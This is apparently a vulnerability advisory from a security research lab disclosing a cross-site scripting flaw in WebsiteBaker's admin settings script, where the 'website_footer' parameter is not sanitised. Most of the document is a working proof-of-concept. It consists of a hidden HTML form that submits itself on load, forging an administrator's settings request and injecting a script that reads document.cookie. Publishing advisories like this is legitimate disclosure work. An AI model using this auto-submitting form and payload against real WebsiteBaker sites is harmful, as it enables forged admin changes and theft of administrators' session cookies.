Cross-site Scripting (XSS) Vulnerability in WebsiteBaker

High-Tech Bridge SA Security Research Lab has discovered vulnerability in WebsiteBaker which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in WebsiteBaker
The vulnerability exists due to input sanitation error in the "website_footer" parameter in admin/settings/save.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.
Exploitation example:
<form action="http://example.com/admin/settings/save.php" method="post" name="main" >
<input type="hidden" name="advanced" value="no" />
<input type="hidden" name="website_title" value="Website Baker Title" />
<input type="hidden" name="website_description" value="" />
<input type="hidden" name="website_keywords" value="" />
<input type="hidden" name="website_header" value="" />
<input type="hidden" name="website_footer" value='footer"><script>alert(document.cookie)</script>' />
<input type="hidden" name="page_level_limit" value="4" />
<input type="hidden" name="page_trash" value="disabled" />
<input type="hidden" name="page_languages" value="false" />
<input type="hidden" name="multiple_menus" value="false" />
<input type="hidden" name="home_folders" value="true" />
<input type="hidden" name="manage_sections" value="true" />
<input type="hidden" name="section_blocks" value="false" />
<input type="hidden" name="intro_page" value="false" />
<input type="hidden" name="homepage_redirection" value="false" />
<input type="hidden" name="smart_login" value="false" />
<input type="hidden" name="frontend_login" value="false" />
<input type="hidden" name="redirect_timer" value="1500" />
<input type="hidden" name="frontend_signup" value="false" />
<input type="hidden" name="er_level" value="0" />
<input type="hidden" name="wysiwyg_style" value="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;" />
<input type="hidden" name="wysiwyg_editor" value="fckeditor" />
<input id="sbmt" type="submit" value="Save" />
<input type="hidden" name="default_language" value="EN" />
<input type="hidden" name="default_charset" value="utf-8" />
<input type="hidden" name="default_timezone" value="0" />
<input type="hidden" name="default_date_format" value="M d Y" />
<input type="hidden" name="default_time_format" value="g:i A" />
<input type="hidden" name="default_template" value="round" />
<input type="hidden" name="default_theme" value="wb_theme" />
<input type="hidden" name="search" value="public" />
<input type="hidden" name="search_template" value="" />
<input type="hidden" name="search_header" value='<h1>[TEXT_SEARCH]</h1>
<form name="searchpage" action="[WB_URL]/search/index.php" method="get">
<table cellpadding="3" cellspacing="0" border="0" width="500">
<tr>
<td>
<input type="hidden" name="search_path" value="[SEARCH_PATH]" />
<input type="text" name="string" value="[SEARCH_STRING]" style="width: 100%;" />
</td>
<td width="150">
<input type="submit" value="[TEXT_SEARCH]" style="width: 100%;" />
</td>
</tr>
<tr>
<td colspan="2">
<input type="radio" name="match" id="match_all" value="all"[ALL_CHECKED] />
<label for="match_all">[TEXT_ALL_WORDS]</label>
<input type="radio" name="match" id="match_any" value="any"[ANY_CHECKED] />
<label for="match_any">[TEXT_ANY_WORDS]</label>
<input type="radio" name="match" id="match_exact" value="exact"[EXACT_CHECKED] />
<label for="match_exact">[TEXT_EXACT_MATCH]</label>
</td>
</tr>
</table>
</fo rm>
<hr />
' />
<input type="hidden" name="search_results_header" value='[TEXT_RESULTS_FOR] '<b>[SEARCH_STRING]</b>':
<table cellpadding="2" cellspacing="0" border="0" width="100%" style="padding-top: 10px;">' />
<input type="hidden" name="search_results_loop" value='<tr style="background-color: #F0F0F0;">
<td><a href="[LINK]">[TITLE]</a></td>
<td align="right">[TEXT_LAST_UPDATED_BY] [DISPLAY_NAME] ([USERNAME]) [TEXT_ON] [DATE]</td>
</tr>
<tr><td colspan="2" style="text-align: justify; padding-bottom: 5px;">[DESCRIPTION]</td></tr>
<tr><td colspan="2" style="text-align: justify; padding-bottom: 10px;">[EXCERPT]</td></tr>' />
<input type="hidden" name="search_results_footer" value='</table>' />
<input type="hidden" name="search_no_results" value='<tr><td><p>[TEXT_NO_RESULTS]</p></td></tr>' />
<input type="hidden" name="search_footer" value="" />
<input type="hidden" name="search_module_order" value="faqbaker,manual,wysiwyg" />
<input type="hidden" name="search_max_excerpt" value="15" />
<input type="hidden" name="search_time_limit" value="0" />
<input type="hidden" name="operating_system" value="linux" />
<input type="hidden" name="file_u_r" value="true" />
<input type="hidden" name="file_u_w" value="true" />
<input type="hidden" name="file_g_r" value="true" />
<input type="hidden" name="file_o_r" value="true" />
<input type="hidden" name="dir_u_r" value="true" />
<input type="hidden" name="dir_u_w" value="true" />
<input type="hidden" name="dir_u_e" value="true" />
<input type="hidden" name="dir_g_r" value="true" />
<input type="hidden" name="dir_g_e" value="true" />
<input type="hidden" name="dir_o_r" value="true" />
<input type="hidden" name="dir_o_e" value="true" />
<input type="hidden" name="pages_directory" value="/pages" />
<input type="hidden" name="media_directory" value="/media" />
<input type="hidden" name="page_extension" value=".php" />
<input type="hidden" name="page_spacer" value="-" />
<input type="hidden" name="rename_files_on_upload" value="php,asp,phpx,aspx" />
<input type="hidden" name="app_name" value="wb_1515" />
<input type="hidden" name="sec_anchor" value="wb_" />
<input type="hidden" name="server_email" value="[email protected]" />
<input type="hidden" name="wbmailer_default_sendername" value="WB Mailer" />
<input type="hidden" name="wbmailer_routine" value="phpmail" />
<input type="hidden" name="wbmailer_smtp_host" value="" />
<input type="hidden" name="wbmailer_smtp_username" value="" />
<input type="hidden" name="wbmailer_smtp_password" value="" />
</form>
<script>
document.getElementById('sbmt').click();
</script>